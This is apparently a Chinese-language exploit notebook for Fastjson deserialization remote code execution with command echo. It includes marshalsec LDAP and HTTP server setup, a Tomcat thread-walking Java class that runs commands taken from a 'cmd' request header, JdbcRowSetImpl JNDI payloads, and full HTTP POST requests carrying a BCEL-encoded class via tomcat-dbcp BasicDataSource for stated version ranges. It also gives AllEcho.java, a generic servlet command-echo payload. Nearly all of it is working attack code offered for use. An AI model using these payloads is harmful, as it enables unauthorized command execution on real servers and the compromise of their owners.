Fastjson回显
LDAP
- 先启动一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.
0.0.1:6666/#Cat
- 再启动http服务
py -3 -m http.server --bind 127.0.0.1 6666
-
再http服务下的目录创建一个
XXX.java文件 然后Javac XXX.java文件内容如下：public class Cat { public Cat()throws Exception{ boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; f = t.getClass().getDeclaredField("target"); f.setAccessible(true); Object obj = f.get(t); if (!(obj instanceof Runnable)) continue; f = obj.getClass().getDeclaredField("this$0"); f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getDeclaredField("handler"); }catch (NoSuchFieldException e){ f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getSuperclass().getDeclaredField("global"); }catch(NoSuchFieldException e){ f = obj.getClass().getDeclaredField("global"); } f.setAccessible(true); obj = f.get(obj); f = obj.getClass().getDeclaredField("processors"); f.setAccessible(true); java.util.List processors = (java.util.List)(f.get(obj)); for(int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]); str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); if (str != null && !str.isEmpty()) { resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str}; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName); try { Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } catch (NoSuchMethodException var5) { Class cls = Class.forName("java.nio.ByteBuffer"); obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } flag = true; } if (flag) break; } if (flag) break; }catch(Exception e){ continue; } } } } -
payload 直接发送
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Cat",
"autoCommit":"true"
}
}
- 直接回显
基于dbcp的fastjson rce 回显
- fastjson <= 1.2.24
- 1.2.33 <= fastjson <= 1.2.47
- jdk <= 8u251
- 存在 tomcat-dbcp
首先将AllEcho.java 编译生成 AllEcho.class 文件，然后用BCELEncode 对class 文件进行bcel编码
- fastjson <= 1.2.24 poc
- 解析使用的JSON.parse()
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: ver && echo fastjson
Content-Length: 3327
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"
}
}: "x"
}
注意修改Content-Type: application/json
- 1.2.33 <= fastjson <= 1.2.47 poc
- JSON.parseObject()
- 还需要调用toJSONString()
- 注意修改
Content-Type: application/json
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
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}
} : "xxx"
}
}
AllEcho.java 对于其他的中间件的兼容效果比较好。
public class AllEcho {
static java.util.HashSet<Object> h;
static ClassLoader cl = java.lang.Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String cmd;
static Object r;
static Object p;
public AllEcho() {
r = null;
p = null;
h =new java.util.HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(java.lang.Thread.currentThread(),0);
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
if(cmd==null) {
r = null;
}else{
//System.out.println("find Request");
try {
java.lang.reflect.Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
//System.out.println("getResponse Error");
r=null;
//e.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (java.lang.reflect.InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
java.io.PrintWriter pw = (java.io.PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream(),charsetName).useDelimiter("\\A").next());
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
参考
https://github.com/depycode/fastjson-local-echo